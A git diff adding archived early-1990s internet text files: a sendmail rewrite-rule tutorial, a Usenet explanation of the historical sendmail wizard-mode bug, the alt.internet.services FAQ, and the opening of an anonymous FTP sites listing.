+R$*<@$+.UUCP>$* $@$1<@$2.UUCP>$3 + +This production would test for the host name ending in .UUCP, and +return immediately. $@ is a flag you haven't seen yet. It is simply +a return statement. It causes the right hand side of this rule to be +returned as the final value of this rule set. + +The other magic thing I will mention is $>. This is a subroutine +call. Here is an example taken from rule set 24, which is used to +process recipients in TCP mail. Its purpose is to handle the +situation where we might have an address like topaz!user@red. (Our +host name is topaz. Red is a local host that we talk to via TCP.) +I.e. someone is asking us to relay mail to red. Rule 3 will have +turned this into user@red<@topaz.UUCP>. What we want to do is +get rid of the topaz.UUCP and treat red as the host. (Rule set 0 +would do this for the recipient on the envelope. This rule is +used for the to: field in the header.) Here is the rule. + +R$+<@$=U.UUCP> $@$>9$1 in case local!a@b + +The pattern matches our example, as follows: + + $+ <@$=U .UUCP> + user@red<@topaz.UUCP> + +Recall that $+ matches anything and $=U tests whether something is our +UUCP host name or one of our nicknames. The result of the match is + + $1 = user@red + $2 = topaz + +The right hand side is $@$>9$1. The $@ is the tag saying to stop the +rule set here and return this value. $>9 is a subroutine call. It +says to take the right hand side, pass it to rule set 9, and then +use the value of rule set 9. The actual right hand side is simply +$1, which in this case is user@red. Here is rule set 9: + +S9 +R$*<$*>$* $1$2$3 defocus +R$+ $:$>3$1 make canonical +R$+ $@$>24$1 and do 24 again + +The first rule simply removes < >. It is sort of a quick and dirty +version of rule 4. In fact we have no < > left, since we have removed +the <@topaz.UUCP>. So this rule does not trigger. (Now that I think +about it, I suspect it is probably never going to trigger, and so is +not needed.) + +The next rule is a simple subroutine call. It matches anything ($+ +matches any 1 or more token). The right hand side is $:$>3$1 The $: +says to do it only once. Since the rule matches anything, you need +this, or you will have an infinite loop. The $>3 says to call rule 3 +as a subroutine. The $1 is the actual right hand side. Since the +left hand side matched the whole address, what this rule does is +simply call rule set 3 on the whole address. Recall that rule set 3 +basically locates the host name and puts < > around it. So in this +case the result is user<@red>. As you can see, it was not enough to +remove <@topaz.UUCP>. That leaves us with no host name. We have to +call rule 3 to find the current host name and put < > around it. + +The last rule is really just a goto statement. The pattern is $+, +which matches anything, so it always triggers. The right hand side is +$@$>24$1. The $@ is the return tag. It says to stop this rule set +and return that value. $>24 says to call rule set 24. The actual +right hand side is $1, so we call rule set 24 with the whole address. +If you recall, this ruleset (9) was called from the middle of 24 when +we found user@red<@topaz.UUCP>. So what we have done is to change +this into user<@red> and say to start rule set 24 over again. + +I hope you have found this exposition useful. As a final convenience, +here is a "reference card" for reading rule sets. Note that this +contains only operators used by the rules. There are plenty of +other facilities used in the configuration section which I am +not documenting here. (I'd love to see someone produce a complete +reference card.) + +wildcards: + $* 0 or more tokens + $+ 1 or more tokens + $- exactly one token + $=x member of class x (x must be a letter, lower/upper case distinct) + $~x not a member of class x + +macro values (usable in pattern or on right hand side) + $x value of macro x (x must be a letter, lower/upper case distinct) + At least on the Pyramid, $x is replaced by the macro's value + when the sendmail.cf file is being read in. + +on the right hand side: + $n string matched by the Nth wildcard + $>n call rule set N as a subroutine + $@ return + $: only do this rule once + +in rule 0, defining the return value + $# protocol + $@ host + $: user + +Rutgers extensions, usable only on right hand side + $%n take the string matched by the Nth wildcard, look it up in + /etc/hosts, and if found use the primary host name + $&x use the current value of macro x. x must be a letter. + upper and lower case are treated as distinct. + + diff --git a/textfiles.com/internet/sendmailwb.txt b/textfiles.com/internet/sendmailwb.txt new file mode 100644 index 00000000..c174ce53 --- /dev/null +++ b/textfiles.com/internet/sendmailwb.txt @@ -0,0 +1,56 @@ +> Hi. Does anyone remember the old version for sendmail that had the +> wizard bug? A lot of the books that have come out recently make passing +> references to it, but none ever describe what it did. So, did anyone +> ever take advantage of this in years gone by, and if so, how? +> Thanks. +> --Dave +> +> Note: To anyone who thinks that this is just a request for a hack to make it +> easier to break into something, keep in mind that this bug was +> removed from sendmail years ago (so please, no "Find out yourself, +> LAMER!" replies). Thanks. + +Indeed. It was fixed well before the Internet Worm hit. + +Anyway -- the intended behavior of wizard mode was that if you supplied +the right password, some other non-standard SMTP commands were enabled, +notably one to give you a shell. The hashed password -- one-way +encrypted exactly as per /etc/passwd -- was stored in the sendmail +configuration file. But there was this bug; to explain it, I need to +discuss some arcana relating to sendmail and the C compiler. + +In order to save the expense of reading and parsing the configuration +file each time, sendmail has what's known as a ``frozen configuration +file''. The concept is fine; the implementation isn't. To freeze the +configuration file, sendmail just wrote out to disk the entire dynamic +memory area (used by malloc) and the `bss' area -- the area that took +up no space in the executable file, but was initialized to all zeros by +the UNIX kernel when the program was executed. The bss area held all +variables that were not given explicit initial values by the C source. +Naturally, when delivering mail, sendmail just read these whole chunks +back in, in two giant reads. It was therefore necessary to store all +configuration file information in the bss or malloc areas, which +demanded a fair amount of care in coding. + +The wizard mode password was stored in malloc'ed memory, so it was +frozen properly. But the pointer to it was explicitly set to NULL in +the source: + + char *wiz = NULL; + +That meant that it was in the initialized data area, *not* the bss. +And it was therefore *not* saved with the frozen configuration. So -- +when the configuration file is parsed and frozen, the password is read, +and written out. The next time sendmail is run, though, the pointer +will be reset to NULL. (The password is present, of course, but +there's no way to find it.) And the code stupidly believed in the +concept of no password for the back door. + +One more point is worth noting -- during testing, sendmail did the +right thing with wizard mode. That is, it did check the password -- +because if you didn't happen to do the wizard mode test with a frozen +configuration file -- and most testing would not be done that way, +since you have to refreeze after each compilation -- the pointer would +be correct. + + --Steve Bellovin diff --git a/textfiles.com/internet/services.faq b/textfiles.com/internet/services.faq new file mode 100644 index 00000000..002129a5 --- /dev/null +++ b/textfiles.com/internet/services.faq @@ -0,0 +1,284 @@ + + Welcome to alt.internet.services! + +This group was designed to handle information about services available +on the internet for people who have internet accounts and want to +explore beyond their local computers and take advantage of the +information and services available. + +This file has been updated. + +The 'services' are: + + * things you can telnet to + * things you can FTP + * things mentioned on the various lists posted periodically + +The 'services' are *not*: + + * utility programs like telnet, ftp, mail, and uudecode on your + system (programs like telnet are vastly different than a + place you can telnet to) + * basic new user questions + +To begin, I'm putting this near the top so people can see it. Most +people do not have the slightest clue what alt.internet.services is +for, and ask almost random questions. + +This is *NOT* alt.internet.general.questions, alt.internet.help, +or alt.internet.new-users. Before asking a question here: + + * Ask someone locally! The guy siting next to you, your + professor, the system administrator. 9 times out of 10 you + won't have to post. + * read news.newusers + * look through your .newsrc file for a more appropriate group. + Questions about mail can go to comp.mail.misc. Questions + about access can go to alt.internet.access.wanted. And so + on. alt.internet.services is *not* some kind of default + group to go to if you can't find any others. + * ask yourself: is this question about a service I can access + thought the internet like the ones on the periodically + posted lists? + +There's a wide range and variety of stuff available, and more pouring +in every day! Please do not send *me* services -- post them or +something. Send additions, suggestions, comments, snide remarks to me +abut this FAQ or how to improve it. Remember it's still under +construction for the most part. + +Note that this welcome does not list services. It instead alerts you +to the lists of services that are regularly posted on the group. +Special thanks to Aydin Edguer, whose excellent alt.bbs.internet FAQ +gave me some basics for this one, too. + +What is "FAQ"? A _F_requently _A_sked _Q_uestion +Where do I get FAQs?! From a newsgroup called net.answers + +Here's an index of topics covered + + * Stuff that should be discussed + * Stuff NO ONE WANTS TO SEE + * Some lists that are posted you should look for + * What is... + ...archie + ...IRC + ...MUD, MUSH, etc + * How do I... + ...send mail to CompuServe? + ...send mail to users on Prodigy? + ...send mail to users on Fidonet? + ...get a name resolved? + + * Brief FTP Primer + +Stuff that should be discussed: +------------------------------- + +* posts about new stuff you can do on the net + + special services like weather reports and databases and + library catalogues and... + + systems that allow public connections, in the spirit of the + old, classic bbs systems + + clients/servers like archie, IRC, MUD, MUSH, etc. + + +Stuff NO ONE WANTS TO SEE: +-------------------------- + +* pleas for access to the internet -- these will be ignored! There are + two groups which can help you, though, so please direct your posts + there. + + alt.internet.access.wanted + + - this group was created because a lot of traffic about + - needing internet access was showing up in the WRONG groups, + - because it had no where to go. Now it has somewhere and + - should go there! + +Some lists that are posted you should look for: +----------------------------------------------- + +* This welcome, which outlines the basic nature of the group and will + steer you towards what the posts should be about. + +* The Internet Services list by Scott Yanoff - an indespensible guide + to services avaialble. + + +What is... +---------- + +...archie? + +Archie is a service that automatically checks sites for anonymous FTP, +and if they have that service available, it catalogues the items you +can get from the site. You can either connect to archie via telnet, +and Scott Yanoff's list tells sites that you may connect to, or you +may compile a client on your own computer and interface archie through +that. + +...IRC? + +IRC is the Internet Relay Chat, a service where users can "talk" via +typing to people around the world. A sample client is available, +please see Scott Yanoff's services list for details. + +There are newsgroups specifically devoted to IRC, so please refer to +them for more information. (alt.irc, for example) + +...MUD, MUSH, etc? + +These are Multi-User, text based, virtual reality games. Each one is +very different from the other, and there are an astounding number of +variations on the MUD theme. Please see rec.games.mud for more +information about them -- there is a very good FAQ posting there that +will explain them (or at least there used to be! :)) + +How do I... +----------- + +NOTE: there is a group, comp.mail.misc, which is a good place to take +e-mail related questions such as the ones below. + +...send mail to CompuServe? + +Users at CompuServe have numbers like XXXXX,YYYYY -- so to send them +mail, use the address XXXXX.YYYYY@compuserve.com and your mail will go +straight to them. + +...send mail to users on Prodigy? + +By opening an account on Prodigy. + +Prodigy does not currently have any external connections and has +announced no plans to ever add external connections. It is therefore +impossible to send mail to a Prodigy user from any system other than +Prodigy. [Aydin Edguer] Prodigy has spoken of a two phase plan to +connect Prodigy to all major networks including the internet. The +first phase is a simple mail gateway which "should" be in place by +Sept 92, the second phase is a wider range of network products. (When +I pressed them, they really did not know what that meant, but they +alluded to News, ftp, irc, and muds.) [Scott C. Kennedy, who applied +for a job with them] + +...send mail to users on Fidonet? + +First you need to know the name of the person and node number of the +Fido-Net system that the person uses. + +The address of a FidoNode looks like this: 1:105/302.0. Usually the 1: +and .0 are left off, but they are there by default. (In Europe the +Zone is 2: and in the Pacific Basin it is 3:.) That address can be +translated as "Zone 1, Net 105, FidoNode 302, Point 0." or +p0.f302.n105.z1. Add the FidoNet domain of .fidonet.org to the end of +that, chop off the p0 (it a default since the point number is zero) +and you have f302.n105.z1.fidonet.org - the "Fully Qualified Domain +Name" of a FidoNet BBS. + + Another example is 2:105/4.3 which would be written as + p3.f4.n105.z2.fidonet.org +Notice that we specified the point number since it was a number other +than zero. + +FidoNet uses full names of the callers. Multi-part name folks (eg. +First Last, ie. "Tim Pozar") will have a period '.' seperating their +names. So, lets say you wanted to send mail to Tim Pozar at +1:125/555.0, you would address your letter to: + Tim.Pozar@f555.n125.z1.fidonet.org. +[Tim Pozar] + + +...get a name resolved? + +Your local host should have a name resolver...but if it doesn't, you +can always send mail to the address resolve@cs.widener.edu with a body of + + site foo.com + site some.where.else + +and you'll receive a mail message with the IP addresses for each site +listed. [Brendan Kehoe] (I assume the reverse is also true, IP -> name) + + +Brief FTP Primer +---------------- + +FTP (File Transfer Protocol) allows a person to transfer files between +two computers connected to the Internet. Some systems on the Internet +offer files through "anonymous" FTP. Anonymous FTP servers permits users +to transfer files to/from the site even when they do not have an account +at the site. + +Not every site permits anonymous tranfers and it is wrong to try systems that +have not advertised the availability of such a service. This is similar to +walking up to a strange house and trying the windows and doors to see if any +are open. + +To find a list of sites that permit anonymous FTP, you can monitor the +newsgroup comp.archives. You can also read the "Anonymous FTP List" +maintained by Tom Czarnik . The list is regularly +posted to comp.sources.wanted and is available via anonymous FTP from +pit-manager.mit.edu in the files /pub/usenet/news.answers/ftp-list/sites*. + +In general, the "Anonymous FTP List" should be used as a last resort +when trying to locate information. There are a _large_ number of anonymous +FTP sites on the Internet, and it is much too time consuming to try to +search each site when trying to find information. There are other +tools, such as Archie, that help you to locate sites that carry a specific +package. + +It is beyond the scope of this FAQ to try to cover all the ways to locate +sources on the Internet. More information about how to find sources and +sites is posted in the comp.sources.wanted FAQ "How to find sources". +It is available for anonymous FTP from pit-manager.mit.edu in the file: +/pub/usenet/comp.sources.wanted/H_t_f_s_(R_T_B_P). + +Perhaps the best way to learn how to use FTP is the read the manual pages +[if any] that are on your system. Lacking such documentation, the following +summary should help. More information is available in other FAQs. + +To use FTP, a command similar to "ftp hostname" is used; where hostname +is replaced by the name of host you wish to contact. If the computer knows +how to contact that host, you will next be presented with a "Name:" prompt. +At this point, if you are using anonymous FTP, you should enter the username +of "anonymous". On some sites "ftp" will also work as an anonymous username. +If the system recognizes the username as an anonymous entry then you should +receive back a "331 Guest login ok" response followed by a "Password:" prompt. +At this prompt you should enter your email address for the password. +It's not necessary, but it's a courtesy for those sites that like to know who +is making use of their facility. At this point you should be presented +with a "230 Guest login ok" response or something similar. If for some +reason things did not work you may receive a "530 Login incorrect" response. +Type in "quit" at the "ftp>" prompt and try again. If it fails a second time, +contact someone at your site for help. + +Once connected to the other site and authenticated, you have a number of +commands available to you. Some FTP commands are the same on most computers, +but others are not. Most versions of FTP will list the commands available +if you type "help". The standard commands include: + + dir list the files in the current directory + cd Change directory + binary Switch to binary mode. For transferring binary files. + ascii Switch to ascii mode. For transferring text files. + It will automatically translate CR/LF and NL between + systems. ASCII mode is the default mode. + get copy a file from the remote computer to yours + +Typically, a directory called 'pub' is where the interesting things +are stored. Some sites will have a file with a name like ls-lR, +that contains a complete list of the files on that site. +Different systems have different organizations for their files +and you may need to do some exploring to find where the files of +interest you are located. + +Once you have finished getting the files of interest you should issue the +"quit" command to close the FTP connection and exit the FTP program. + + + \ No newline at end of file diff --git a/textfiles.com/internet/sitelist b/textfiles.com/internet/sitelist new file mode 100644 index 00000000..17a0efd6 --- /dev/null +++ b/textfiles.com/internet/sitelist @@ -0,0 +1,36192 @@ +Last-Modified: 22-Feb-95 +Version: 9502 + + + Anonymous FTP Sites Listing + +See the related Frequently Asked Questions (FAQ) List for distribution +information. This listing expires 30 days from the date of last +modification. + +These lists can be obtained by one of the following ways: + +* Send an e-mailmessage with no subject and in the body: + + send usenet/news.answers/ftp-list/faq + send usenet/news.answers/ftp-list/sitelist/part1 + send usenet/news.answers/ftp-list/sitelist/part2 + send usenet/news.answers/ftp-list/sitelist/part3 + send usenet/news.answers/ftp-list/sitelist/part4 + send usenet/news.answers/ftp-list/sitelist/part5 + send usenet/news.answers/ftp-list/sitelist/part6 + send usenet/news.answers/ftp-list/sitelist/part7 + send usenet/news.answers/ftp-list/sitelist/part8 + send usenet/news.answers/ftp-list/sitelist/part9 + send usenet/news.answers/ftp-list/sitelist/part10 + send usenet/news.answers/ftp-list/sitelist/part11 + send usenet/news.answers/ftp-list/sitelist/part12 + send usenet/news.answers/ftp-list/sitelist/part13 + send usenet/news.answers/ftp-list/sitelist/part14 + send usenet/news.answers/ftp-list/sitelist/part15 + send usenet/news.answers/ftp-list/sitelist/part16 + send usenet/news.answers/ftp-list/sitelist/part17 + send usenet/news.answers/ftp-list/sitelist/part18 + + to mail-server@rtfm.mit.edu + (Alternatively, send mail to mail-server@cs.ruu.nl with the same + commands, but with usenet/news.answers replaced by NEWS.ANSWERS) + +* Anonymous FTP to rtfm.mit.edu and getting all the files from the + /pub/usenet/new.answers/ftp-list/sitelist directory for the sitelist + and /pub/usenet/news.answers/ftp-list/faq for the FAQ List (ASCII files) + +* Anonymous FTP to garbo.uwasa.fi and getting the file + /pc/doc-net/ftp-list.zip + (PKZip 2.x archive: PKUnzip 2.x or Unzip 5.x or higher needed) + +* Anonymous FTP to oak.oakland.edu and getting the file + /SimTel/msdos/info/ftp-list.zip + (PKZip 2.x archive: PKUnzip 2.x or Unzip 5.x or higher needed) + +* Anonymous FTP to ftp.edu.tw and getting the file in the format you want + from the /documents/networking/guides/ftp-list directory. Several formats + are available, including a .Z and .gz version of the FAQ and sitelist. + +Don't forget to change to 'binary' or 'image' type before transferring +the .ZIP, .Z or .gz version of this file! Garbo.uwasa.fi, oak.oakland.edu +and rtfm.mit.edu are mirrored on many sites around the world. +Try using those mirrors if at all possible to reduce the load on the +more well-known sites. + +Strip this header on personal copies only. Comments are always welcome. + + Administrative mail: Perry.Rovers@kub.nl + +This list is maintained by Perry Rovers (Perry.Rovers@kub.nl), and +used to be maintained by Tom Czarnik and Jon Granrose (thanks!). + +Notes on this release: +This release features numerous updates and some additions. I've almost +cleared my backlog now, except for a couple of sites that were +unreachable. Don't expect much new stuff in the coming months. I'm +going on an internship and will need almost all of my time for that. + + +BTW if any has a september '94 version lying around, please mail an +uuencoded .zip file to perry@kub.nl (not this address!). Thanks.. + + +[Start Of File] +============================================================================ + +This is a comprehensive alphabetic listing of Internet sites accepting +Anonymous FTP. To find out what Anonymous FTP is and how to use it, read +the Frequently Asked Questions (FAQ) List, distributed separately. + +Site : site address (no IP numbers, they change too frequently) +Country: country where site is located +GMT : hours from GMT (+/-) +Date : date of last modification for site +Source : last updater of entry or source of information +Alias : any listed aliases (machinenames or 'netnames', the nicknames + by which they are known to the people most using them) +Admin : administrative address for comments or reporting problems +Organ : organization operating site and location in country +Server : email server address and instructions if available +System : type of server (hardware and Operating System if known) +URL : Universal Resource Locator, to be used with a World Wide Web browser +Comment: any general comments or restrictions +Files : types of files, archives, or mirrors available + +If, for some reason(s), you can't use the sitename (also called cname) +but need the so called IP address, here's how to get it: + +Easiest for most people, assuming they're not in a hurry, is to +send mail to: + + dns@grasp.insa-lyon.fr + +With an empty Subject line and in the body of the message: + + ip host.subdomain.domain + +Example of request: + + ip grasp.insa-lyon.fr + +For more information send the single word 'help' to the same address. +If you're able to use the 'nslookup' command on your system you can +find out interactively. On a Unix system try 'man nslookup' for help +on using nslookup. Another way is to use 'telnet ', normally +that shows the IP address of the site as well. + +Unless otherwise stated, all sites take 'anonymous' for the username +and your e-mail address for the password. A side remark on this +one: I only check for username 'anonymous', it's not called Anonymous +FTP for nothing. But if you find a site that does accept 'ftp', guest' +or something like that (with an e-mail address for the password) and +not 'anonymous', let me know and I'll add it to the list. Most sites +accept username 'ftp' as well. Another note on my checking of sites: +if I had a problem connecting to a site, you will find a remark about +that in the Comment: line; Problem: symptom of problem. This does +not mean that that site is no longer operational, just that it wasn't +reachable for me at that moment. + +Dates are represented in the Day-Month-Year format. + +Some of the more common abbreviations used in this list are: + + CC: Computer Center + CS: Computer Science + EE: Electrical Engineering + NIC: Network Information Center + NOC: Network Operations Center + +Times are expressed in GMT + or - several hours, e.g. +1 means GMT+1, +-5 means GMT-5. I don't want to use daylight savings or something +like summertime or whatever because it complicates matters. I'm going +to add a sort of timescale here someday with the most used times +in it: + +-10 -9 -8 -7 -6 -5 -4 -3 -2 -1 0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +10 +11 +12 +HST PST MST CST EST GMT CET EET WST JST + MET HST +AKDT PDT MDT CDT EDT KST + +H LA B C NYC L T H H T M A +a o h o i e o o e u +w u i n l l n k l c +a l c d b s g y b k +i d a o u i o o l +i e g n r n K u a + r o g k o r n + i n n d + g e + +[This part definitely needs some more updating, also, refer to .gif on +garbo.uwasa.fi with timezones /pc/doc-net/timezone.zip or something like +that] + +Please remember to use sites during off-peak (1800-0600 or 6pm-6am +local time) hours and within your area, before jumping to international +archives. If they have regional access or limited links, respect their +restrictions. +And remember that mirrors are here for a reason. It's often much faster +to check if the file(s) you're looking for are mirrored close by and +getting them there, than getting them from somewhere distant (and slow). + +Most important of all: +Anonymous FTP access is a privilege and can be denied at any time. +Don't ruin it for yourself and lots of others by overusing a site +or not abiding by their rules. + +If you notice any changes to a site, please let me know. Site admins +should read my FAQ for the specific information I need. Note: this +release has some sites that haven't been checked yet, or have been +checked but I was unable to fill in all the information. This is not +standard procedure, but a temporary thing (my backlogs were starting +to grow a bit too big). + +A comment on Archie: Use this service! For those that don't know what +Archie is, please read my FAQ. Also, services like gopher or WWW can +be much easier to use than 'bare bones' FTP. Try them. + +Thanks to everybody who has made suggestions for changes, and all the +people maintaining those 1000+ public archives. Help maintaining this +list: check one of the 'older' site and send me a report, with the +info I need plus a listing of the / and /pub directories. + +Disclaimer: This information is provided as-is. Updates are always + welcome, but nothing in this document is guaranteed for + anything except to occupy diskspace somewhere ;-) + +Copyright (c) 1994, Perry Rovers -- Text may be quoted in on-line documents +and written publications, but please notify me so I can add a reference +and make sure that you add pointers to the places where people can get +the latest version. You may make this file available on public servers, +like ftp, gopher or WWW servers as well, but please let me know. +Do not modify the info itself (i.e. converting it to some other format) +before consulting me. All rights reserved. This may seem stricter than +the earlier versions, but I only want to make sure I'm notified of how +this file is used and for what purpose. If you contact me, I'm sure +we can work something out. + +OK, now for the useful part: + +============================================================================ +Site : 161.105.2.22 +Country: France +GMT : +1 +Date : 31-Jul-94 +Source : Yves.Dehery@ccett.fr +Alias : etocs +Admin : +Organ : Centre Commun d'Etude de Telecommunication et de Telediffusion + (joint France Telecom and TDF research center, CCETT), Rennes +Server : +System : Unix +URL : ftp://161.105.2.22/ +Comment: MPEG compression - MPEG bit-streams - MPEG software; THIS IS A + TEMPORARY ENTRY [this site must get a name soon] +Files : MPEG: audio (decod, parser, sound), video (ccett) + +Site : 199.3.234.248 +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : bjg90783@elroy.uh.edu (B.J. Guillot) {posting} +Alias : +Admin : +Organ : Tranquility Base BBS, Houston, Texas +Server : +System : OS/2 (BBS IBM TCP/IP) +URL : ftp://199.3.234.248 +Comment: I'm listing this one because the contents aren't available anywhere + else as far as I know. These folks should get a decent name if + possible. +Files : 2FAX; BG FAX (for Class 1, 2 and ZyXEL faxmodems); ZFAX + +Site : a.cs.uiuc.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois, + CS dept. +Server : +System : Unix +URL : ftp://a.cs.uiuc.edu/ +Comment: max. 60 users; +Files : achien; AutoClassII; FWF; locally developed software: ACSL, CHARM, + Choices, edebug, edels, epoch-files, era, kamin, perts, RT, SME, + treemacs; gupta-ftp; ifp; networking; PDC; PEXpapers; QPE; Qual; + ROLOG; sattrack; sbprolog; Sun3; Sun4; tech-reports; TeX; timex; + UNO; vi; womcs + +Site : a.psc.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : cpwsca.psc.edu +Admin : remarks@a.psc.edu +Organ : Pittsburgh Supercomputing Center, Pittsburgh, Pennsylvania +Server : +System : VAX/VMS +URL : ftp://a.psc.edu/ +Comment: default directory: SYS$SYSDEVICE:[PSC0.PSCPUB.ANONYMOUS] +Files : only a readme. [obsolete?] + +Site : a1well.feld.cvut.cz +Country: Czech Republic +GMT : +1 +Date : 19-Feb-95 +Source : kuchta@dcse.fee.vutbr.cz (Jiri Kuchta) {posting} +Alias : europe.feld.cvut.cz +Admin : sysop@a1fel.feld.cvut.cz +Organ : Czech Technical University (CVUT), Prague, A1 FEL BBS +Server : +System : +URL : ftp://a1well.feld.cvut.cz/ +Comment: max. 10 users [appears empty, probably 'dir' doesn't work] +Files : + +Site : aarnet.edu.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : nico; sao.aarnet.edu.au [ftp.aarnet.edu.au? successor of jatz.aarnet] +Admin : aarnet@aarnet.edu.au, G.Huston@aarnet.edu.au +Organ : Australian Academic & Research Network +Server : +System : Unix +URL : ftp://aarnet.edu.au/ +Comment: MaasInfo files in pub/doc +Files : Australian AARNET network stats; VMS NNTP server; + MaasInfo files + +Site : abode.ccd.bnl.gov +Country: USA +GMT : +Date : 30-Oct-94 +Source : ftp.xfree86.org +Alias : +Admin : +Organ : B... National Laboratory +Server : +System : Unix +URL : ftp://abode.ccd.bnl.gov/ +Comment: +Files : XFree86 (mirror of ftp.xfree86.org) + +Site : acavax.lynchburg.edu +Country: USA +GMT : -5 +Date : 29-Nov-94 +Source : nicely@acavax.lynchburg.edu (Thomas Nicely) {posting} +Alias : +Admin : +Organ : Lynchburg College, Lynchburg, Virginia +Server : +System : VAX/VMS running MultiNet +URL : ftp://acavax.lynchburg.edu/ +Comment: default directory: ACA:[ANONYMOUS] +Files : bourne; Mac; Nicely: program to test Pentium FPU bug; roussos + +Site : acfcluster.nyu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : axp1.acf.nyu.edu +Admin : +Organ : New York University, New York, New York +Server : +System : VAX/VMS running Multinet +URL : ftp://acfcluster.nyu.edu/ +Comment: default directory: NYU$:[ANONYMOUS_LOGS] +Files : VMS UUCP; news; DECUS library catalog; vsmnet.sources; + Info-VAX code segments + +Site : aclu.org +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : CuD +Alias : pipeline.com +Admin : +Organ : American Civil Liberties Union/Pipeline, New York,New York +Server : gopher: aclu.org 6601, infoaclu@aclu.org +System : Unix +URL : ftp://aclu.org/ +Comment: +Files : ACLU; corner-store; Mac; PC; Pipeline + +Site : acs.cps.msu.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : +Alias : canidae.cps.msu.edu +Admin : +Organ : Michigan State University, Lansing, Michigan +Server : +System : Unix (System V Release 4.0) +URL : ftp://acs.cps.msu.edu/ +Comment: +Files : arch; CS1; cshell; doc; GNU; IV; kalns; LaTeX-support; MS-DOS + (archivers, emTeX, fileutils, GNU, graphics, unix-like); mutka; + news; Pami; PS; punch; sass; schafers; Unix; xntp; xsrc + +Site : acsc.acsc.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : ACSC +Server : +System : +URL : ftp://acsc.acsc.com/ +Comment: +Files : + +Site : actrix.gen.nz +Country: New Zealand +GMT : +12 +Date : 14-Dec-94 +Source : Acorn FTP list as posted to news.anwers +Alias : +Admin : banks_p@kosmos.wcc.govt.nz, wright_j@kosmos.wcc.govt.nz +Organ : +Server : +System : +URL : ftp://actrix.gen.nz/ +Comment: Only reachable from within New Zealand!; I/O error on network device +Files : Acorn Archimedes stuff: programs, sources, libraries etc. + +Site : adams.poly.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://adams.poly.edu/ +Comment: +Files : + +Site : addvax.llnl.gov +Country: USA +GMT : -8 +Date : 29-Nov-94 +Source : VAX Software List; old ftp-list +Alias : +Admin : +Organ : Lawrence Livermore National Labs, , California +Server : +System : VAX/VMS running Multinet +URL : ftp://addvax.llnl.gov/ +Comment: default directory: SD0:[ANONYMOUSFTP.PUB]; for uploads use + username 'anonymous', password 'upload' (no quotes) +Files : VMS software: DEC-Windows, Emacs + +Site : aelred-3.ie.org +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : IE +Server : +System : Unix (SunOS 4.1) +URL : ftp://aelred-3.ie.org/ +Comment: +Files : COSPO; enhanced billing design paper; neteff; netmon; precedence; + proxyagent; scps + +Site : agate.berkeley.edu +Country: USA +GMT : -8 +Date : 17-Jul-94 +Source : ftp.cs.ubc.ca +Alias : +Admin : usenet@agate.berkeley.edu +Organ : University of California - Berkeley, Berkeley, California +Server : +System : Unix +URL : ftp://agate.berkeley.edu/ +Comment: 386BSD and NetBSD have been removed, check the former mirrors (some + are listed in the README files in the 386BSD and NetBSD directories) +Files : home-ip; UCB class; Usenet (GNUs, newsgroups, newswatcher, NN, NNTP, + TIN, TRN) + +Site : agora.leeds.ac.uk +Country: UK +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : csirisb +Admin : support@scs.leeds.ac.uk +Organ : University of Leeds, Leeds, School of Computer Studies (SCS) +Server : +System : Unix +URL : ftp://agora.leeds.ac.uk/ +Comment: +Files : CP/M; DTM; rec.games.abstract; SCS items; SGI UK distribution; + +Site : ais.org +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : umcc.umcc.umich.edu +Admin : +Organ : +Server : +System : +URL : ftp://ais.org/ +Comment: tells you when you have a wrong nameserver (tell your sys admin + to run a rfc 931 server) +Files : bsdi; gopher; UMCC info; + +Site : aix.rpi.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : aix01.aix.rpi.edu +Admin : +Organ : Rensselaer Polytechnical Institute, Troy, New York +Server : +System : +URL : ftp://aix.rpi.edu/ +Comment: +Files : tcpip benchmarks + +Site : ajpo.sei.cmu.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : old ftp-list +Alias : +Admin : adainfo@ajo.sei.cmu.edu, postmaster@ajpo.sei.cmu.edu +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, + ADA Joint Program Office (AJPO) +Server : gopher: ajpo.sei.cmu.edu +System : +URL : ftp://ajpo.sei.cmu.edu/ +Comment: Open 24 hours; max. 20 users; ASCII files have a .txt extension, + postscript files a .ps extension +Files : all the ADA you could ask for + +Site : al.mrc-lmb.cam.ac.uk +Country: UK +GMT : 0 +Date : 06-Jan-94 +Source : Acorn FTP list as posted to news.answers +Alias : +Admin : jkb@mrc-lmb.cam.ac.uk +Organ : Cambridge University, Cambridge, MRC LMB +Server : +System : Unix running Concentrix 2800 +URL : ftp://al.mrc-lmb.cam.ac.uk/ +Comment: /pub/beeb +Files : Some BBC utilities + +Site : alamut.topy.org +Country: USA +GMT : +Date : 30-Oct-94 +Source : heimdall.riapub.com +Alias : +Admin : c129@alamut.topy.org (alamut dir) +Organ : Thee Temple Ov Physick Youth (TOPY) +Server : +System : Unix (SunOS 4.1) +URL : ftp://alamut.topy.org/ +Comment: successor of heimdall.riapub.com for the TOPY archive and MXD stuff +Files : Alamut (images (no porn, don't bother), resources (magickal + resources), topy: info, transmission archive); htmlasst; PGP; some + antivirus progs; topy + +Site : alex.sp.cs.cmu.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : burgundy.sp.cs.cmu.edu +Admin : +Organ : Carnegie-Mellon University, Pittsburg, Pennsyllvania, CS dept. +Server : +System : Unix +URL : ftp://alex.sp.cs.cmu.edu/ +Comment: Filenames can not have '/..' in them +Files : Alex (user level NFS server); cs-techreports; WWW + +Site : alf.uib.no 